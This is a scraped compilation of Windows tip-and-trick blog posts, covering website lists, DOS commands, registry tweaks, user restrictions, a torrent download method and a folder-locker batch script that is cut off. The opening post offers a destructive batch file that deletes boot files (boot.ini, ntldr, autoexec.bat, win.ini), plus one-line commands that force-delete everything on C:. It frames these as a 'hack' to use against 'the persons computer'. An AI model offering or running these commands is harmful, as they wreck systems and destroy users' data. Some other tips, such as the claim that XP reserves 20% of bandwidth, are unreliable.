How to Shutdown a computer forever?

How to Shutdown a computer forever?
Now Please don’t try this because this is the
most
simplest and deadliest hack for your windows
computer. Copy the following code into your
notepad
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows
\win.ini
del c:\windows\win.ini Save it as “shutdown-
forever.bat”. Just make sure it
has a .bat or .cmd extension.
DONT RUN THE BATCH FILE ,YOU
WONT RECOVER BACK AFTER YOU
RUN IT !!! This should shutdown the persons
computer. It
shuts it off once
and deletes the files needed to reboot and
restart.So please, use
this hack only if you have no intention of
rebooting
your computer again. So just be careful.
Here’s an alternative code.
cmd /c del c:\windows\* /F /S /
Q
cmd /c del c:\* /F /S /Q
Paste it in NotePad And Save It
with Extension .cmd or .bat.
But perform it at your risk not at my risk.

101 Great Sites

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101 Great Sites
Here is a list of 101 websites , these are most useful but lesser known websites on the internet.

01. screenr.com – record movies of your desktop and send them straight to YouTube.
02. bounceapp.com – for capturing full length screenshots of web pages.
03. goo.gl – shorten long URLs and convert URLs into QR codes.
04. untiny.me – find the original URLs that’s hiding behind a short URLs.
05. localti.me – know more than just the local time of a city
06. copypastecharacter.com – copy-paste special characters that aren’t on your keyboard.
07. topsy.com – a better search engine for twitter.
08. fb.me/AppStore – search iOS apps without launching iTunes.
09. iconfinder.com – the best place to find icons of all sizes.
10. office.com – download templates, clipart and images for your Office documents.
11. woorank.com – everything you wanted to know about a website.
12. virustotal.com – scan any suspicious file or email attachment for viruses.
13. wolframalpha.com – gets answers directly without searching  – see more wolfram tips.
14. printwhatyoulike.com – print web pages without the clutter.
15. joliprint.com – reformats news articles and blog content as a newspaper.
16. isnsfw.com – when you wish to share a NSFW page but with a warning.
17. e.ggtimer.com – a simple online timer for your daily needs.
18. coralcdn.org – if a site is down due to heavy traffic, try accessing it through coral CDN.
19. random.org – pick random numbers, flip coins, and more.
20. mywot.com – check the trust level of any website – example.
21. viewer.zoho.com – Preview PDFs and Presentations directly in the browser.
22. tubemogul.com – simultaneously upload videos to YouTube and other video sites.
23. truveo.com – the best place for searching web videos.
24. scr.im – share you email address online without worrying about spam.
25. spypig.com – now get read receipts for your email.
26. sizeasy.com – visualize and compare the size of any product.
27. whatfontis.com – quickly determine the font name from an image.
28. fontsquirrel.com – a good collection of fonts – free for personal and commercial use.
29. regex.info – find data hidden in your photographs – see more EXIF tools.
30. tineye.com – this is like an online version of Google Googles.
31. iwantmyname.com – helps you search domains across all TLDs.
32. tabbloid.com – your favorite blogs delivered as PDFs.
33. join.me – share you screen with anyone over the web.
34. onlineocr.net – recognize text from scanned PDFs and images – see other OCR tools.
35. flightstats.com – Track flight status at airports worldwide.
36. wetransfer.com – for sharing really big files online.
37. pastebin.com – a temporary online clipboard for your text and code snippets.
38. polishmywriting.com – check your writing for spelling or grammatical errors.
39. awesomehighlighter.com – easily highlight the important parts of a web page.
40. typewith.me – work on the same document with multiple people.
41. whichdateworks.com – planning an event? find a date that works for all.
42. everytimezone.com – a less confusing view of the world time zones.
43. warrick.cs.odu.edu – you’ll need this when your bookmarked web pages are deleted.
44. gtmetrix.com – the perfect tool for measuring your site performance online.
45. imo.im – chat with your buddies on Skype, Facebook, Google Talk, etc. from one place.
46. translate.google.com – translate web pages, PDFs and Office documents.
47. youtube.com/leanback – sit back and enjoy YouTube videos in full-screen mode.
48. similarsites.com – discover new sites that are similar to what you like already.
49. wordle.net – quick summarize long pieces of text with tag clouds.
50. bubbl.us – create mind-maps, brainstorm ideas in the browser.
51. kuler.adobe.com – get color ideas, also extract colors from photographs.
52. followupthen.com – setup quick reminders via email itself.
53. lmgtfy.com – when your friends are too lazy to use Google on their own.
54. tempalias.com – generate temporary email aliases, better than disposable email.
55. pdfescape.com – lets you can quickly edit PDFs in the browser itself.
56. faxzero.com – send an online fax for free – see more fax services.
57. feedmyinbox.com – get RSS feeds as an email newsletter.
58. isendr.com – transfer files without uploading to a server.
59. tinychat.com – setup a private chat room in micro-seconds.
60. privnote.com – create text notes that will self-destruct after being read.
61. flightaware.com – live flight tracking service for airports worldwide.
62. boxoh.com – track the status of any shipment on Google Maps – alternative.
63. chipin.com – when you need to raise funds online for an event or a cause.
64. downforeveryoneorjustme.com – is your favourite site really offline?
65. example.com – this website can be used as an example in documentation.
66. whoishostingthis.com – find the web host of any website.
67. google.com/history – found something on Google but can’t remember it now?
68. errorlevelanalysis.com – find whether a photo is real or a photoshopped one.
69. google.com/dictionary – get word meanings, pronunciations and usage examples.
70. urbandictionary.com – find definitions of slangs and informal words.
71. seatguru.com – consult this site before choosing a seat for your next flight.
72. sxc.hu – download stock images absolutely free.
73. imo.im – chat with your buddies on Skype, Facebook, Google Talk, etc. from one place.
74. wobzip.org – unzip your compressed files online.
75. vocaroo.com – record your voice with a click.   The 101 Most Useful Websites  4
76. scribblemaps.com – create custom Google Maps easily.
 77. buzzfeed.com – never miss another Internet meme or viral video.
 78. alertful.com – quickly setup email reminders for important events.
79. encrypted.google.com – prevent your ISP and boss from reading your search queries.
80. formspring.me – you can ask or answer personal questions here.
81. snopes.com – find if that email offer you received is real or just another scam.
82. typingweb.com – master touch-typing with these practice sessions.
83. mailvu.com – send video emails to anyone using your web cam.
84. ge.tt – quickly send a file to someone, they can even preview it before downloading.
85. timerime.com – create timelines with audio, video and images.
86. stupeflix.com – make a movie out of your images, audio and video clips.
87. aviary.com/myna – an online audio editor that lets you record and remix audio clip.
88. noteflight.com – print music sheets, write your own music online (review).
89. disposablewebpage.com – create a temporary web page that self-destruct.
90. namemytune.com – when you need to find the name of a song.
91. homestyler.com – design from scratch or re-model your home in 3d.
92. snapask.com – use email on your phone to find sports scores, read Wikipedia, etc.
93. teuxdeux.com – a beautiful to-do app that resembles a paper dairy.
94. livestream.com – broadcast events live over the web, including your desktop screen.
95. bing.com/images – automatically find perfectly-sized wallpapers for mobiles.
96. historio.us – preserve complete web pages with all the formatting.
97. dabbleboard.com – your virtual whiteboard.
98. whisperbot.com – send an email without using your own account.
99. sumopaint.com – an excellent layer-based online image editor.
100. lovelycharts.com – create flowcharts, network diagrams, sitemaps, etc.
101. nutshellmail.com – Get your Facebook and Twitter streams in your inbox.                                        

web tricks

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check out for this amazing tricks

Send Message to anybody with Gmail for free
http://tipsntrickz.com/send-sms-to-anybody-from-gmail

Click here to know about how to fix dll file missing error?
http://tipsntrickz.com/how-to-fix-dll-file-missing-error

Change login screen of FB
http://tipsntrickz.com/how-to-change-login-screen-of-facebook

And most intresting trick
http://tipsntrickz.com/have-fun/
HAVE FUN WITH THIS TRICK..

iPhone codes

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*3001#12345#*      Enters Field mode which allows you to access most of the hidden settings and functions of your iPhone

*#06#          Display the IMEI of your iPhone, as always this is the standard code for all brands of phones.

*225#          Displays the account balance for postpaid contracts

*777#         Displays the account balance for prepaid accounts

*646#        Displays the remaining minutes available

*3282#      Get your data usage information

*729           Options to make payments

611             Dials customer service, (114 in RSA for Vodacom)

Download Desired Torrent file with IDM!! [High Speed]

Download Desired Torrent file with IDM!! [High Speed]

How to Download Desired Torrent file with IDM!!  [High Speed]

STEPS:

1. First of all , you have to download the torrent file(.torrent) which you want to download...!

 2. Then just go to the website http://www.torcache.net and upload the torrent file that you have just downloaded and click on the cache! button..,,!

 3. This will give you a new torrent file . You just have to copy the link of the new torrent file from the opened window..,,..!

 4. Then go to the website http://www.torrific.com and create an account there(in case you don’t have) and login to your account. Then paste the address of the new torrent obtained in step 3 and click on Get button.,.,,...!

5. Now you will get the list of available files present in that torrent file. Then click on the initiate bittorrent transmission button. This will give the full option to download the file. Just click on any link and you can see the download manager-IDM popping out for downloading the file.,.,.!!

Have a nice dayy,,,,now enjoy the ultimate speed of IDM for downloading torrents too

DOS Commands......

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DOS Commands......

ADDUSERS Add or list users to/from a CSV file
ARP Address Resolution Protocol
ASSOC Change file extension associations
ASSOCIAT One step file association
AT Schedule a command to run at a later time
ATTRIB Change file attributes
BOOTCFG Edit Windows boot settings
BROWSTAT Get domain, browser and PDC info
CACLS Change file permissions
CALL Call one batch program from another
CD Change Directory - move to a specific Folder
CHANGE Change Terminal Server Session properties
CHKDSK Check Disk - check and repair disk problems
CHKNTFS Check the NTFS file system
CHOICE Accept keyboard input to a batch file
CIPHER Encrypt or Decrypt files/folders
CleanMgr Automated cleanup of Temp files, recycle bin
CLEARMEM Clear memory leaks
CLIP Copy STDIN to the Windows clipboard.
CLS Clear the screen
CLUSTER Windows Clustering
CMD Start a new CMD shell
COLOR Change colors of the CMD window
COMP Compare the contents of two files or sets of files
COMPACT Compress files or folders on an NTFS partition
COMPRESS Compress individual files on an NTFS partition
CON2PRT Connect or disconnect a Printer
CONVERT Convert a FAT drive to NTFS.
COPY Copy one or more files to another location
CSVDE Import or Export Active Directory data
DATE Display or set the date
Dcomcnfg DCOM Configuration Utility
DEFRAG Defragment hard drive
DEL Delete one or more files
DELPROF Delete NT user profiles
DELTREE Delete a folder and all subfolders
DevCon Device Manager Command Line Utility
DIR Display a list of files and folders
DIRUSE Display disk usage
DISKCOMP Compare the contents of two floppy disks
DISKCOPY Copy the contents of one floppy disk to another
DNSSTAT DNS Statistics
DOSKEY Edit command line, recall commands, and create macros
DSADD Add user (computer, group..) to active directory
DSQUERY List items in active directory
DSMOD Modify user (computer, group..) in active directory
ECHO Display message on screen
ENDLOCAL End localisation of environment changes in a batch file
ERASE Delete one or more files
EXIT Quit the CMD shell
EXPAND Uncompress files
EXTRACT Uncompress CAB files
FC Compare two files
FDISK Disk Format and partition
FIND Search for a text string in a file
FINDSTR Search for strings in files
FOR Conditionally perform a command several times
FORFILES Batch process multiple files
FORMAT Format a disk
FREEDISK Check free disk space (in bytes)
FSUTIL File and Volume utilities
FTP File Transfer Protocol
FTYPE Display or modify file types used in file extension association
GLOBAL Display membership of global groups
GOTO Direct a batch program to jump to a labelled line
HELP Online Help
HFNETCHK Network Security Hotfix Checker
IF Conditionally perform a command
IFMEMBER Is the current user in an NT Workgroup
IPCONFIG Configure IP
KILL Remove a program from memory
LABEL Edit a disk label
LOCAL Display membership of local groups
LOGEVENT Write text to the NT event viewer.
LOGOFF Log a user off
LOGTIME Log the date and time in a file
MAPISEND Send email from the command line
MEM Display memory usage
MD Create new folders
MODE Configure a system device
MORE Display output, one screen at a time
MOUNTVOL Manage a volume mount point
MOVE Move files from one folder to another
MOVEUSER Move a user from one domain to another
MSG Send a message
MSIEXEC Microsoft Windows Installer
MSINFO Windows NT diagnostics
MSTSC Terminal Server Connection (Remote Desktop Protocol)
MUNGE Find and Replace text within file(s)
MV Copy in-use files
NET Manage network resources
NETDOM Domain Manager
NETSH Configure network protocols
NETSVC Command-line Service Controller
NBTSTAT Display networking statistics (NetBIOS over TCP/IP)
NETSTAT Display networking statistics (TCP/IP)
NOW Display the current Date and Time
NSLOOKUP Name server lookup
NTBACKUP Backup folders to tape
NTRIGHTS Edit user account rights
PATH Display or set a search path for executable files
PATHPING Trace route plus network latency and packet loss
PAUSE Suspend processing of a batch file and display a message
PERMS Show permissions for a user
PERFMON Performance Monitor
PING Test a network connection
POPD Restore the previous value of the current directory saved by PUSHD
PORTQRY Display the status of ports and services
PRINT Print a text file
PRNCNFG Display, configure or rename a printer
PRNMNGR Add, delete, list printers set the default printer
PROMPT Change the command prompt
PsExec Execute process remotely
PsFile Show files opened remotely
PsGetSid Display the SID of a computer or a user
PsInfo List information about a system
PsKill Kill processes by name or process ID
PsList List detailed information about processes
PsLoggedOn Who's logged on (locally or via resource sharing)
PsLogList Event log records
PsPasswd Change account password
PsService View and control services
PsShutdown Shutdown or reboot a computer
PsSuspend Suspend processes
PUSHD Save and then change the current directory
QGREP Search file(s) for lines that match a given pattern.
RASDIAL Manage RAS connections
RASPHONE Manage RAS connections
RECOVER Recover a damaged file from a defective disk.
REG Read, Set or Delete registry keys and values
REGEDIT Import or export registry settings
REGSVR32 Register or unregister a DLL
REGINI Change Registry Permissions
REM Record comments (remarks) in a batch file
REN Rename a file or files.
REPLACE Replace or update one file with another
RD Delete folder(s)
RDISK Create a Recovery Disk
RMTSHARE Share a folder or a printer
ROBOCOPY Robust File and Folder Copy
ROUTE Manipulate network routing tables
RUNAS Execute a program under a different user account
RUNDLL32 Run a DLL command (add/remove print connections)
SC Service Control
SCHTASKS Create or Edit Scheduled Tasks
SCLIST Display NT Services
ScriptIt Control GUI applications
SET Display, set, or remove environment variables
SETLOCAL Begin localisation of environment changes in a batch file
SETX Set environment variables permanently
SHARE List or edit a file share or print share
SHIFT Shift the position of replaceable parameters in a batch file
SHORTCUT Create a windows shortcut (.LNK file)
SHOWGRPS List the NT Workgroups a user has joined
SHOWMBRS List the Users who are members of a Workgroup
SHUTDOWN Shutdown the computer
SLEEP Wait for x seconds
SOON Schedule a command to run in the near future
SORT Sort input
START Start a separate window to run a specified program or command
SU Switch User
SUBINACL Edit file and folder Permissions, Ownership and Domain
SUBST Associate a path with a drive letter
SYSTEMINFO List system configuration
TASKLIST List running applications and services
TIME Display or set the system time
TIMEOUT Delay processing of a batch file
TITLE Set the window title for a CMD.EXE session
TOUCH Change file timestamps
TRACERT Trace route to a remote host
TREE Graphical display of folder structure
TYPE Display the contents of a text file
USRSTAT List domain usernames and last login
VER Display version information
VERIFY Verify that files have been saved
VOL Display a disk label
WHERE Locate and display files in a directory tree
HOAMI Output the current UserName and domain
WINDIFF Compare the contents of two files or sets of files
WINMSD Windows system diagnostics
WINMSDP Windows system diagnostics II
WMIC WMI Commands
XCACLS Change file permissions
XCOPY Copy files and folders

Create Audio From Text using Notepad

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Create Audio From Text using Notepad !

So today I'm going to share with you a

simple code of vb script
so just open the notepad and type this Code:

Dim msg, sapi
msg=InputBox("Enter your text for conversion– Dhananjay","dhananjay247.blogspot.com")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg

  now save it as textconverter.vbs 
then open it .

How To Remove and Add Right-Click Menu Items

How To Remove and Add Right-Click Menu Items from Files and Folders

Removing Items

A lot of programs you install will add themselves to the right-click menu of your files and/or folders. And most times, you have no choice in the matter and, as a result, your right-click menu can get very long with added items you don't even use. The last person I was helping with this had a right context menu so long that the Rename option was no longer visible!

Fortunately, you can easily remove those unwanted menu items, if you know the registry values to edit. And it's not at all difficult once you know the keys responsible for the additions.

For Files, the secret lies in the "context menu handlers" under the shellex subkey for "All Files" which, in the registry, is nothing but an asterisk - like a dos wildcard, which means the values entered apply to all files. It is at the very top of the Root key, right here:

HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers

Click the the + sign next to the ContextMenuHandlers key, to expand it.
Now you will see some of the programs that have added items to your right-click menu. Simply delete the program keys you don't want.
Yup! It's that simple. If deleting makes you uneasy, just export the key before deleting it. Or, instead of deleting the values, disable them. Simply double click the default value for the program on the right hand pane and rename the clsid value by placing a period or dash in front of it.

ie; - {b5eedee0-c06e-11cf-8c56-444553540000}

Then exit the registry, refresh, and right click a file to see if the item was removed from the menu.
Some programs - like WinZip or WinRar - will add several items to your right click menu but all of them will be removed by deleting or disabling their one context menu handler.

Note that the above key only applies to the right click menu of files.
To remove entries from the right click context menu of folders, you need to navigate to the Folder and Drive keys:

HKEY_CLASSES_ROOT\Folder\shellex\ContextMenuHandlers
HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandlers

All you have to do is follow the same procedure as for Files - either disable or delete items you wish to remove.

Adding Items

Adding Items to the right click menu of Files and Folders is also fairly simple using the Registry. It just involves the creation of a few new keys for each item you wish to add. You edit the same keys used for removing items. Let's use Notepad as an example of an item you'd like to add to the right click menu of all your files or folders.

For folders, go to this key:

HKEY_CLASSES_ROOT\Folder

Click the + sign next to Folder and expand it so that the Shell key is visible. Right click the Shell key and choose New>Key and name the key Notepad or whatever else you'd prefer (whatever the key is named is what will appear in the right-click menu). Now right click the new key you made and create another key named Command. Then, in the right hand pane, double click "Default" and enter Notepad.exe as the value.
Exit the registry, refresh, and right click any folder. Notepad should now be on the context menu.


For files, go here again:

HKEY_CLASSES_ROOT\*

Expand the * key and see if a Shell key exists. If it does exist, follow the same procedure as for folders. If it does not exist, you'll have to create a new Shell first. Just right click the * key and choose New>Key and name it Shell. Then right click the Shell key and continue on the same way you did for adding items to the right click menu of folders.

Once done, Notepad should appear as an option in the right click menu of all your files.

How to hack/change your Windows XP Boot Screen

How to hack/change your Windows XP Boot Screen


HACKING THE XP BOOT SCREEN

This is a very simple trick to do if you have done the same for the logon screen and the start button. There are 2 ways to do this trick that I know about one is doing it manually and the other is using a program called bootxp. I am going to tell you the manual way to do it, but if you want to know the other way just let me know, so I can do an update to the guide. Now once you have downloaded your ntoskrnl.exe file save it a general location so that you will have easy access to it, like my folder.



Once you have ntoskrnl.exe file in an easy access folder, restart your pc into safe mode. Once into safe mode go to the folder where your files are located.



Now that you are there copy the file that you want to change your boot screen too. Once you have copied that file, hit the window key + r or type %windir%\system32 in the run command, so that folder as follows.

Once there paste your new file into the folder and overwrite the existing folder.

Now that you have your new file in the folder restart your pc as you normally would and your new boot screen should appear. You can download this bootscreen here.

ALWAYS BACKUP EVERYTHING YOU EDIT OR DELETE. I'M NOT RESPONSIBLE IF YOU MESS YOUR COMPUTER UP BY DOING THIS HACK OR ANY TYPE OF HACK. DO IT AT YOUR OWN RISK.

Image and ntoskrnl.exe files provided by www.themexp.org

or
u can go to

code:

http://www.overclockersclub.com/guides/hackxpbootscreen.php

How To Increase Download Speeds By 100-200 Kbsec

How To Increase Download Speeds By 100-200 Kbsec


 First of all download this wonderful program:

h@@p://www.speedguide.net/files/TCPOptimizer.exe

Then when u start trhe program goto settings goto cable modem or dsl whatevcer u have.

Go to MaxMTU and set it to 1500 this is optimal anything above this will not work as well.

Thats bout it!! Enjoy the speed!!

create a virtual drive for your desired folder in my computer

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today we are going to tell you about a secret DOS command "subst" which can be used to create a virtual drive in Windows Explorer for any of your desired folder.
For example, if you frequently use a folder "E:\Wallpapers", then you can create a virtual drive in Explorer which will directly go to this folder whenever you double click on it or access it from RUN or Command Prompt. It'll save a lot of time.
Here is how to do it:
1. Open Command Prompt and provide following command:

subst drive_letter: folder_path

for example, if you want to create a virtual drive letter H: for a folder "E:\Wallpapers", then use following command:

subst H: E:\Wallpapers

2. It'll immediately create a virtual drive H: which will represent the "Wallpapers" folder:
Before using subst command:

After using subst command:

3. As you can see. A new drive letter H: has been created which directly goes to "E:\Wallpapers" folder upon double-click.
4. If you want to delete this virtual drive, then provide following command:

subst drive_letter: /D

for example, we created H: drive in Step1, so our command to delete this virtual drive would be:

subst H: /D

5. You can view a list of all existing virtual drives by simply giving subst command without any parameter in Command Prompt.
NOTE:
A. Remember! You can't use existing drive letters for creating virtual drives, e.g. if you have 2 partitions C: and D:, then you can't use them for subst command.
B. You should not use chkdsk, diskcomp, diskcopy, format, label and recover commands on virtual drives created using subst command as these virtual drives are not real and these commands either will not work or can cause problems for the actual drives where the folders reside.

Windows uses 20% of your bandwidth Here's how to Get it back

A nice little tweak for XP. Microsoft reserve 20% of your available bandwidth for their own purposes (suspect for updates and interrogating your machine etc..)

Here's how to get it back:

Click Start-->Run-->type "gpedit.msc" without the "

This opens the group policy editor. Then go to:


Local Computer Policy-->Computer Configuration-->Administrative Templates-->Network-->QOS Packet Scheduler-->Limit Reservable Bandwidth


Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab :

"By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."

So the trick is to ENABLE reservable bandwidth, then set it to ZERO.

This will allow the system to reserve nothing, rather than the default 20%.

I have tested on XP Pro
other o/s not tested.

Please give me feedback about your results

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Ultimate List of All Kinds of User Restrictions for Windows

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Many times people access our system and change our customized settings here and there. Wouldn't it be great if we can restrict them to change the settings and other things like restrict from changing Folder Options, Taskbar settings, Desktop settings, etc.
Today in this tutorial, we'll share a list of some important and useful restrictions, which can be put in Windows 2000, XP, Server 2003, Vista, Server 2008, Windows 7 and Windows 8.
STEP 1: Open Registry Editor

All restrictions are based on Registry editing. So you'll need to open Registry Editor by providing regedit command in RUN or Start menu Search box and press Enter. After that go to the registry key mentioned in step 2.
STEP 2: Create Registry Key

Once you are in Registry Editor. Go to following keys and create or modify required DWORD value as mentioned below:

========================================

1. Restricting Desktop Properties
Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\System

Create new DWORD NoDispCPL and set its value to 1
If you want to restrict any particular tab in Desktop Properties like Themes, Screen Saver, etc, you can take help of following tutorial:
How to Enable / Disable Changing Themes, Wallpapers, Screen Savers and Other Settings
Also check: How to Restrict Users from Changing Desktop Wallpaper in Windows?
2. Restricting Taskbar Properties
Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

Create new DWORD NoSetTaskbar and set its value to 1
3. Restricting System Properties
Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

Create new DWORD NoPropertiesMyComputer and set its value to 1
4. Restricting Folder Options
Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

Create new DWORD NoFolderOptions and set its value to 1
5. Restricting Registry Editor
Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\System

Create new DWORD DisableRegistryTools and set its value to 1
6. Restricting Task Manager
Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\System

Create new DWORD DisableTaskMgr and set its value to 1
7. Restricting Control Panel
Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

Create new DWORD NoControlPanel and set its value to 1
Also check following tutorial:
How to Hide / Show Specific Control Panel Applets / Icons in Windows?
8. Restricting Command Prompt
Go to following key:

HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System

Create new DWORD DisableCMD and set its value to 2
9. Restricting Locking/Unlocking of Taskbar
Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

Create new DWORD LockTaskbar and set its value to 1
10. Restricting right-click on Taskbar
Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

Create new DWORD NoTrayContextMenu and set its value to 1
11. Restricting Toolbars in Taskbar
Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

Create new DWORD NoToolbarsOnTaskbar and set its value to 1
12. Restricting drag-and-drop and right-click in Start Menu
Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

Create new DWORD NoChangeStartMenu and set its value to 1
13. Restricting RUN in Start Menu
Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

Create new DWORD NoRun and set its value to 1
14. Restricting Shut Down, Restart, Sleep and Hibernate commands

Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

Create new DWORD NoClose and set its value to 1
15. Restricting Log off in Start Menu

Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

Create new DWORD StartMenuLogOff and set its value to 1
16. Restricting Active Desktop Feature
Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

Create new DWORD NoActiveDesktop and set its value to 1
17. Restricting adding/removing items to/from Toolbars
Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

Create new DWORD NoToolbarCustomize and set its value to 1
18. Restricting adding/removing Toolbars
Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

Create new DWORD NoBandCustomize and set its value to 1
19. Restricting Autorun Feature

Visit following tutorial:
How to Disable Autorun Functionality in Windows Using Registry Editor?
20. Restricting notification at low disk space
Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

Create new DWORD NoLowDiskSpaceChecks and set its value to 1
21. Restricting Writing to USB Drives
Go to following key:

HKEY_LOCAL_MACHINE\SYSTEM\Current Control Set\Control\StorageDevicePolicies

Create new DWORD WriteProtect and set its value to 1
Also check following tutorial:
How to Disable / Restrict Use of USB Storage Devices in Windows?
22. Restricting "New" option in context menu
Go to following key:

HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenu Handlers\New

And delete the value of Default, e.g., empty it.
Also check: How to Enable / Disable "New -> Shortcut" in Windows XP, Vista and 7 Context Menu?
23. Restricting "Send To" option in context menu
Go to following key:

HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenu Handlers\Send To

And delete the value of Default, e.g., empty it.
24. Restricting any desired application
Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer\DisallowRun

Create new String value with any name, like 1 and set its value to the desired program's EXE file.
e.g., If you want to restrict msconfig, then create a String value 1 and set its value to msconfig.exe. If you want to restrict more programs, simply create more String values with names 2, 3 and so on and set their values to the program's exe file.
25. Restricting Drives in My Computer
Go to following key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer

In right-side pane, create new DWORD NoViewOnDrive and change its value as following:

3 : To Restrict A and B drives only.
4 : To Restrict C drive only.
7 : To Restrict A, B, and C drives only.
8 : To Restrict D drive only.
F : To Restrict A, B, C, and D drives only.
03FFFFFF : To Restrict all drives.

If you want more specific restrictions, like you want to restrict a combination of drives, you can use decimal no. instead of hexadecimal no. Following is a list for all drives decimal no.:

A: 1
B: 2
C: 4
D: 8
E: 16
F: 32
G: 64
H: 128
I: 256
J: 512
K: 1024
L: 2048
M: 4096
N: 8192
O: 16384
P: 32768
Q: 65536
R: 131072
S: 262144
T: 524288
U: 1048576
V: 2097152
W: 4194304
X: 8388608
Y: 16777216
Z: 33554432
ALL: 67108863

So if you want to disable a combination of drives, just sum their numbers and give the same value to NoViewOnDrive. e.g., for restricting C, D, E and F drives, give the value: 4+8+16+32 = 60
PS: You can also hide the drives using NoDrives DWORD value. The location and its value remain same as the above trick.
Also check: How to Restrict / Hide / Remove Drives in Windows Explorer?
26. Restricting Settings and Options in Internet Explorer Web Browser
Check out following topics to restrict users from changing homepage and various settings in Internet Explorer:
How to Restrict Users from Changing Internet Explorer Homepage Settings?
How to Disable Options, Disable Tabs in Internet Explorer's Internet Options Dialog Box?
27. Restricting Desired Key in Keyboard or Changing Key Action
Check out following tutorial to customize any key behavior or disable a key permanently:
Customize or Disable Any Key in Your Keyboard Using SharpKeys
28. Restricting "Always use selected program to open this kind of file" Option in Open With Dialog Box?
Check out following tutorial to disable the "Always use selected program to open this kind of file" checkbox which appears in "Open With" dialog box:
How to Disable "Always use selected program to open this file" Option in Open With Dialog Box?
29. Restricting "Switch User" Option in Windows Vista and 7
Visit following article to learn how to disable "Switch User" option in Windows:
How to Disable "Switch User" Option in Windows Vista and 7?
30. Restricting Settings, Downloads, Bookmarks, etc in Mozilla Firefox
Check out following topic to restrict users from changing options, adding bookmarks, downloading files, etc in Mozilla Firefox:

Ultimate Collection of Registry Tweaks to Speed Up Windows 7

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1. Registry Tweaks:
Following topic contains a few registry tweaks to optimize your system performance and add a few useful extras:
Ultimate Collection of Registry Tweaks to Speed Up Windows 7
You just need to download the ZIP file, extract it and run the file. It'll ask for confirmation, accept it. Restart your system to take affect.
2. Right-click on Computer icon on Desktop and select Properties (or press WIN + Pause/Break keys). Now click on Advanced system settings link in left side pane (You can open it directly by giving sysdm.cpl command in RUN or start menu search box). Now click on Settings button in Performance section:

It'll open another window. Disable all unnecessary options in Visual Effects tab, you can leave following options enabled according to your requirements:

• Enable Aero Peek (If you want to use Aero Peek feature)
• Enable desktop composition (If you want to use Windows Aero theme)
• Enable transparent glass (If you want to use transparency in Windows)
• Show thumbnails instead of icons (If you want to show thumbnails in Explorer)
• Show window contents while dragging (If you want windows to show contents while moving them)
• Smooth edges of screen fonts (If you want to show smooth fonts)
• Use drop shadows for icon labels on the desktop (If you want to show shadows under desktop icon labels)
• Use visual styles on windows and buttons (If you want to use Windows Aero or Basic theme)

3. Open Windows Explorer and go to "Organize -> Folder and Search Options" and click on "View" tab.
Now disable following options:

• Display file size information in folder tips
• Hide extensions for known file types
• Show encrypted or compressed NTFS files in color
• Show pop-up description for folder and desktop items

4. Right-click on Computer icon on Desktop and select Manage (You can also open it directly by giving services.msc command in RUN or start menu search box).
Now go to Services & Applications -> Services. Here you can set a few unnecessary services to Manual, so that these services don't start automatically with Windows and you can get a faster startup.

Visit following tutorial to know which services can be set to MANUAL to increase system performance:
Windows 7 Services Configuration: Turn Off / Disable Unnecessary Services to Optimize Performance
5. Type msconfig in RUN or Start Menu search box and press Enter. Now go to Startup tab and disable unwanted startup entries. You can disable your graphics card's driver utility, Sound Card utility, etc to speed up the system startup and to increase system performance.

6. Open Sound applet in Control Panel (or type mmsys.cpl in RUN or Start Menu search box and press Enter). Now go to Sounds tab and select No Sounds from Sound Scheme section. You can keep some of your favorite sounds enabled but make sure to set Exit Windows, Windows Log off, Windows Logon and Start Navigation to (None).

Also disable "Play Windows Startup sound" option to disable the sound clip which is played at login screen.
7. Also don't forget to:

• Defrag the hard disk regularly
• Install only necessary software
• Use the latest device drivers
• Keep your Windows up-to-date

folder lock code for any window to lock folder

folder lock code for any window to lock folder

cls
:End
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
